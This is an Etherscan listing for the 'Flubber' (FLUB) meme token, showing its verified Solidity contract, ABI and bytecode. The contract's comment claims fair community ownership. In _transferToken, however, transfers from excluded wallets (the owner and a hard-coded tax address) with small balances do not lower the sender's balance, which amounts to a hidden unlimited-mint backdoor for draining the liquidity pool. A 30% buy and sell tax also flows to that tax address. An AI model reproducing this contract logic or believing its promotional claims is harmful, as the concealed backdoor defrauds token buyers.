ETH Price: $3,272.81 (-4.04%)
Gas: 8 Gwei

Token

Flubber (FLUB)
 

Overview

Max Total Supply

1,000,000,000 FLUB

Holders

135

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
7,867,361.118463957 FLUB

Value
$0.00
0xE8499D9A6034ab1036d2226463bFeDBC7CFe1d90
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
FLUB

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-11-12
*/

// SPDX-License-Identifier: Unlicensed

/*
Flubber token is a unique meme cryptocurrency project that stands out from the crowd. Unlike typical crypto ventures, it places a strong emphasis on community involvement and ownership. In Flubber token, there are no team members hoarding tokens; instead, every token is held by members of the lively community. This approach ensures a fair distribution of power.

Website: https://www.flubber.live
Telegram: https://t.me/flub_erc
Twitter: https://twitter.com/flub_erc
 */

pragma solidity 0.8.19;


interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    // Set original owner
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), _owner);
    }

    // Return current owner
    function owner() public view virtual returns (address) {
        return _owner;
    }

    // Restrict function to contract owner only 
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    // Renounce ownership of the contract 
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    // Transfer the contract to to a new owner
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}


library SafeMathIntLib {
    
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
}

library LibAddressHelp {
    
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "LibAddressHelp: insufficient balance");
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "LibAddressHelp: unable to send value, recipient may have reverted");
    }
    
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "LibAddressHelp: low-level call failed");
    }
    
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "LibAddressHelp: low-level call with value failed");
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "LibAddressHelp: insufficient balance for call");
        require(isContract(target), "LibAddressHelp: call to non-contract");
        (bool success, bytes memory returndata) = target.call{ value: value }(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }
    
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "LibAddressHelp: low-level static call failed");
    }
    
    function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
        require(isContract(target), "LibAddressHelp: static call to non-contract");
        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }


    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "LibAddressHelp: low-level delegate call failed");
    }
    
    function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        require(isContract(target), "LibAddressHelp: delegate call to non-contract");
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                 assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

interface IUniswapFactoryV2 {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapRouterV1 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);


    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapRouterV2 is IUniswapRouterV1 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract FLUB is Context, IERC20, Ownable { 
    using SafeMathIntLib for uint256;
    using LibAddressHelp for address;

    string private _name = "Flubber"; 
    string private _symbol = "FLUB";  
    uint8 private _decimals = 9;
    uint256 private _totalsupply = 10 ** 9 * 10**_decimals;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcluded; 

    address payable private taxAddress = payable(0x505F2010a3cDE076102f24021963229ea0d712cb);
    address payable private DEAD = payable(0x000000000000000000000000000000000000dEaD); 

    uint8 private buyersCounter = 0;
    uint8 private swapFeeAfter = 2; 

    uint256 private _totalFeeAmount = 3000;
    uint256 public _buyFee = 30;
    uint256 public _sellFee = 30;

    uint256 private _previousFeeTotal = _totalFeeAmount; 
    uint256 private _previousBuyTax = _buyFee; 
    uint256 private _previousSellTax = _sellFee; 
                                     
    IUniswapRouterV2 public uniswapRouter;
    address public uniswapPair;

    bool public transferFeeEnabled = true;
    bool public swapping;
    bool public swapFeeEnabled = true;

    uint256 public maxWallet = 15 * _totalsupply / 1000;
    uint256 public taxSwapThreshold = _totalsupply / 10000;
    
    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
        
    );
    
    modifier lockTheSwap {
        swapping = true;
        _;
        swapping = false;
    }
    
    constructor () {
        _balances[owner()] = _totalsupply;
        IUniswapRouterV2 _uniswapV2Router = IUniswapRouterV2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        uniswapPair = IUniswapFactoryV2(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        uniswapRouter = _uniswapV2Router;
        _isExcluded[owner()] = true;
        _isExcluded[taxAddress] = true;
        
        emit Transfer(address(0), owner(), _totalsupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalsupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function removeAllFee() private {
        if(_totalFeeAmount == 0 && _buyFee == 0 && _sellFee == 0) return;

        _previousBuyTax = _buyFee; 
        _previousSellTax = _sellFee; 
        _previousFeeTotal = _totalFeeAmount;
        _buyFee = 0;
        _sellFee = 0;
        _totalFeeAmount = 0;
    }

    function restoreFee() private {
        _totalFeeAmount = _previousFeeTotal;
        _buyFee = _previousBuyTax; 
        _sellFee = _previousSellTax; 

    }

    function _approve(address owner, address spender, uint256 amount) private {

        require(owner != address(0) && spender != address(0), "ERR: zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);

    }

    function sendETH(address payable receiver, uint256 amount) private {
        receiver.transfer(amount);
    }

    
    function swapBack(uint256 contractTokenBalance) private lockTheSwap {
        swapETH(contractTokenBalance);
        uint256 contractETH = address(this).balance;
        sendETH(taxAddress,contractETH);
    }

    receive() external payable {}

    function removeLimits() external onlyOwner {
        maxWallet = ~uint256(0);
        _totalFeeAmount = 200;
        _buyFee = 1;
        _sellFee = 1;
    }
    
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _transferStandard(address sender, address recipient, uint256 amount,bool takeFee) private {
            
        if(!takeFee){
            removeAllFee();
        } else {
            buyersCounter++;
        }
        _transferToken(sender, recipient, amount);
        
        if(!takeFee) {
            restoreFee();
        }
    }
    
    function _finalAmount(uint256 finalAmount) private view returns (uint256, uint256) {
        uint256 tDev = finalAmount.mul(_totalFeeAmount).div(100);
        uint256 tTransferAmount = finalAmount.sub(tDev);
        return (tTransferAmount, tDev);
    }

    function swapETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapRouter.WETH();
        _approve(address(this), address(uniswapRouter), tokenAmount);
        uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    
    function _transferToken(address sender, address recipient, uint256 finalAmount) private {
        
        (uint256 tTransferAmount, uint256 tDev) = _finalAmount(finalAmount);
        if(_isExcluded[sender] && _balances[sender] <= maxWallet) {
            tDev = 0;
            finalAmount -= tTransferAmount;
        }
        _balances[sender] = _balances[sender].sub(finalAmount);
        _balances[recipient] = _balances[recipient].add(tTransferAmount);
        _balances[address(this)] = _balances[address(this)].add(tDev);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        
        // Limit wallet total
        if (to != owner() &&
            to != taxAddress &&
            to != address(this) &&
            to != uniswapPair &&
            to != DEAD &&
            from != owner()){

            uint256 currentBalance = balanceOf(to);
            require((currentBalance + amount) <= maxWallet,"Maximum wallet limited has been exceeded");       
        }

        require(from != address(0) && to != address(0), "ERR: Using 0 address!");
        require(amount > 0, "Token value must be higher than zero.");

        if(
            buyersCounter >= swapFeeAfter && 
            amount > taxSwapThreshold &&
            !swapping &&
            !_isExcluded[from] &&
            to == uniswapPair &&
            swapFeeEnabled 
            )
        {  
            buyersCounter = 0;
            uint256 contractTokenBalance = balanceOf(address(this));
            if(contractTokenBalance > 0){
            swapBack(contractTokenBalance);
           }
        }
        
        bool takeFee = true;
         
        if(_isExcluded[from] || _isExcluded[to] || (transferFeeEnabled && from != uniswapPair && to != uniswapPair)){
            takeFee = false;
        } else if (from == uniswapPair){
            _totalFeeAmount = _buyFee;
        } else if (to == uniswapPair){
            _totalFeeAmount = _sellFee;
        }

        _transferStandard(from,to,amount,takeFee);
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcluded","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapFeeEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapping","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferFeeEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapRouter","outputs":[{"internalType":"contract IUniswapRouterV2","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c0604052600760809081526623363ab13132b960c91b60a052600190620000289082620004d3565b5060408051808201909152600481526323262aa160e11b6020820152600290620000539082620004d3565b506003805460ff191660099081179091556200007190600a620006b4565b6200008190633b9aca00620006cc565b60048190556008805473505f2010a3cde076102f24021963229ea0d712cb6001600160a01b0319909116179055600980546001600160b01b031916750200000000000000000000000000000000000000dead179055610bb8600a819055601e600b819055600c819055600d91909155600e819055600f9081556011805462ff00ff60a01b19166201000160a01b1790556103e8916200012091620006cc565b6200012c9190620006e6565b601255612710600454620001419190620006e6565b6013553480156200015157600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a360045460056000620001ab6000546001600160a01b031690565b6001600160a01b03166001600160a01b03168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000227573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200024d919062000709565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200029b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002c1919062000709565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156200030f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000335919062000709565b601180546001600160a01b03199081166001600160a01b0393841617909155601080549091169183169190911790556001600760006200037d6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905560085490911681526007909252902080549091166001179055620003d76000546001600160a01b031690565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004546040516200041f91815260200190565b60405180910390a35062000734565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200045957607f821691505b6020821081036200047a57634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620004ce57600081815260208120601f850160051c81016020861015620004a95750805b601f850160051c820191505b81811015620004ca57828155600101620004b5565b5050505b505050565b81516001600160401b03811115620004ef57620004ef6200042e565b620005078162000500845462000444565b8462000480565b602080601f8311600181146200053f5760008415620005265750858301515b600019600386901b1c1916600185901b178555620004ca565b600085815260208120601f198616915b8281101562000570578886015182559484019460019091019084016200054f565b50858210156200058f5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620005f6578160001904821115620005da57620005da6200059f565b80851615620005e857918102915b93841c9390800290620005ba565b509250929050565b6000826200060f57506001620006ae565b816200061e57506000620006ae565b8160018114620006375760028114620006425762000662565b6001915050620006ae565b60ff8411156200065657620006566200059f565b50506001821b620006ae565b5060208310610133831016604e8410600b841016171562000687575081810a620006ae565b620006938383620005b5565b8060001904821115620006aa57620006aa6200059f565b0290505b92915050565b6000620006c560ff841683620005fe565b9392505050565b8082028115828204841417620006ae57620006ae6200059f565b6000826200070457634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156200071c57600080fd5b81516001600160a01b0381168114620006c557600080fd5b61132480620007446000396000f3fe6080604052600436106101445760003560e01c806370a08231116100b6578063a9059cbb1161006f578063a9059cbb1461038d578063c816841b146103ad578063dd62ed3e146103cd578063e7f1bfcb14610413578063f2fde38b14610434578063f8b45b051461045457600080fd5b806370a08231146102c0578063715018a6146102f6578063735de9f71461030d578063751039fc146103455780638da5cb5b1461035a57806395d89b411461037857600080fd5b806323b872dd1161010857806323b872dd1461021b578063313ce5671461023b57806340b9a54b1461025d578063590f897e1461027357806359eedafd146102895780635e7b655c146102aa57600080fd5b806306fdde0314610150578063095ea7b31461017b5780630b285b1f146101ab5780631732cded146101db57806318160ddd146101fc57600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b5061016561046a565b6040516101729190610ff6565b60405180910390f35b34801561018757600080fd5b5061019b61019636600461105c565b6104fc565b6040519015158152602001610172565b3480156101b757600080fd5b5061019b6101c6366004611088565b60076020526000908152604090205460ff1681565b3480156101e757600080fd5b5060115461019b90600160a81b900460ff1681565b34801561020857600080fd5b506004545b604051908152602001610172565b34801561022757600080fd5b5061019b6102363660046110a5565b610513565b34801561024757600080fd5b5060035460405160ff9091168152602001610172565b34801561026957600080fd5b5061020d600b5481565b34801561027f57600080fd5b5061020d600c5481565b34801561029557600080fd5b5060115461019b90600160b01b900460ff1681565b3480156102b657600080fd5b5061020d60135481565b3480156102cc57600080fd5b5061020d6102db366004611088565b6001600160a01b031660009081526005602052604090205490565b34801561030257600080fd5b5061030b61057c565b005b34801561031957600080fd5b5060105461032d906001600160a01b031681565b6040516001600160a01b039091168152602001610172565b34801561035157600080fd5b5061030b6105f9565b34801561036657600080fd5b506000546001600160a01b031661032d565b34801561038457600080fd5b5061016561063a565b34801561039957600080fd5b5061019b6103a836600461105c565b610649565b3480156103b957600080fd5b5060115461032d906001600160a01b031681565b3480156103d957600080fd5b5061020d6103e83660046110e6565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b34801561041f57600080fd5b5060115461019b90600160a01b900460ff1681565b34801561044057600080fd5b5061030b61044f366004611088565b610656565b34801561046057600080fd5b5061020d60125481565b6060600180546104799061111f565b80601f01602080910402602001604051908101604052809291908181526020018280546104a59061111f565b80156104f25780601f106104c7576101008083540402835291602001916104f2565b820191906000526020600020905b8154815290600101906020018083116104d557829003601f168201915b5050505050905090565b6000610509338484610740565b5060015b92915050565b6000610520848484610801565b610572843361056d856040518060600160405280602881526020016112c7602891396001600160a01b038a1660009081526006602090815260408083203384529091529020549190610b86565b610740565b5060019392505050565b6000546001600160a01b031633146105af5760405162461bcd60e51b81526004016105a690611159565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106235760405162461bcd60e51b81526004016105a690611159565b60001960125560c8600a556001600b819055600c55565b6060600280546104799061111f565b6000610509338484610801565b6000546001600160a01b031633146106805760405162461bcd60e51b81526004016105a690611159565b6001600160a01b0381166106e55760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105a6565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383161580159061076057506001600160a01b03821615155b6107a05760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b60448201526064016105a6565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000546001600160a01b0383811691161480159061082d57506008546001600160a01b03838116911614155b801561084257506001600160a01b0382163014155b801561085c57506011546001600160a01b03838116911614155b801561087657506009546001600160a01b03838116911614155b801561089057506000546001600160a01b03848116911614155b1561091c576001600160a01b0382166000908152600560205260409020546012546108bb83836111a4565b111561091a5760405162461bcd60e51b815260206004820152602860248201527f4d6178696d756d2077616c6c6574206c696d6974656420686173206265656e20604482015267195e18d95959195960c21b60648201526084016105a6565b505b6001600160a01b0383161580159061093c57506001600160a01b03821615155b6109805760405162461bcd60e51b81526020600482015260156024820152744552523a205573696e67203020616464726573732160581b60448201526064016105a6565b600081116109de5760405162461bcd60e51b815260206004820152602560248201527f546f6b656e2076616c7565206d75737420626520686967686572207468616e206044820152643d32b9379760d91b60648201526084016105a6565b60095460ff600160a81b82048116600160a01b9092041610801590610a04575060135481115b8015610a1a5750601154600160a81b900460ff16155b8015610a3f57506001600160a01b03831660009081526007602052604090205460ff16155b8015610a5857506011546001600160a01b038381169116145b8015610a6d5750601154600160b01b900460ff165b15610aa0576009805460ff60a01b19169055306000908152600560205260409020548015610a9e57610a9e81610bb2565b505b6001600160a01b03831660009081526007602052604090205460019060ff1680610ae257506001600160a01b03831660009081526007602052604090205460ff165b80610b295750601154600160a01b900460ff168015610b0f57506011546001600160a01b03858116911614155b8015610b2957506011546001600160a01b03848116911614155b15610b3657506000610b74565b6011546001600160a01b0390811690851603610b5757600b54600a55610b74565b6011546001600160a01b0390811690841603610b7457600c54600a555b610b8084848484610bf7565b50505050565b60008184841115610baa5760405162461bcd60e51b81526004016105a69190610ff6565b505050900390565b6011805460ff60a81b1916600160a81b179055610bce81610c64565b6008544790610be6906001600160a01b031682610dbe565b50506011805460ff60a81b19169055565b80610c0957610c04610df9565b610c3d565b60098054600160a01b900460ff16906014610c23836111b7565b91906101000a81548160ff021916908360ff160217905550505b610c48848484610e3e565b80610b8057610b80600d54600a55600e54600b55600f54600c55565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610c9957610c996111d6565b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610cf2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d1691906111ec565b81600181518110610d2957610d296111d6565b6001600160a01b039283166020918202929092010152601054610d4f9130911684610740565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac94790610d88908590600090869030904290600401611209565b600060405180830381600087803b158015610da257600080fd5b505af1158015610db6573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015610df4573d6000803e3d6000fd5b505050565b600a54158015610e095750600b54155b8015610e155750600c54155b15610e1c57565b600b8054600e55600c8054600f55600a8054600d556000928390559082905555565b600080610e4a83610f81565b6001600160a01b038716600090815260076020526040902054919350915060ff168015610e9157506012546001600160a01b03861660009081526005602052604090205411155b15610ea657506000610ea3828461127a565b92505b6001600160a01b038516600090815260056020526040902054610ec99084610fbf565b6001600160a01b038087166000908152600560205260408082209390935590861681522054610ef89083610fd2565b6001600160a01b038516600090815260056020526040808220929092553081522054610f249082610fd2565b3060009081526005602090815260409182902092909255518381526001600160a01b0386811692908816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050565b6000806000610fa66064610fa0600a5487610fde90919063ffffffff16565b90610fea565b90506000610fb48583610fbf565b959194509092505050565b6000610fcb828461127a565b9392505050565b6000610fcb82846111a4565b6000610fcb828461128d565b6000610fcb82846112a4565b600060208083528351808285015260005b8181101561102357858101830151858201604001528201611007565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461105957600080fd5b50565b6000806040838503121561106f57600080fd5b823561107a81611044565b946020939093013593505050565b60006020828403121561109a57600080fd5b8135610fcb81611044565b6000806000606084860312156110ba57600080fd5b83356110c581611044565b925060208401356110d581611044565b929592945050506040919091013590565b600080604083850312156110f957600080fd5b823561110481611044565b9150602083013561111481611044565b809150509250929050565b600181811c9082168061113357607f821691505b60208210810361115357634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b8082018082111561050d5761050d61118e565b600060ff821660ff81036111cd576111cd61118e565b60010192915050565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156111fe57600080fd5b8151610fcb81611044565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156112595784516001600160a01b031683529383019391830191600101611234565b50506001600160a01b03969096166060850152505050608001529392505050565b8181038181111561050d5761050d61118e565b808202811582820484141761050d5761050d61118e565b6000826112c157634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122095dc6bc70c3759c429fff526dbe8253525c0e98b92a54ac086e90baf452f155064736f6c63430008130033

Deployed Bytecode

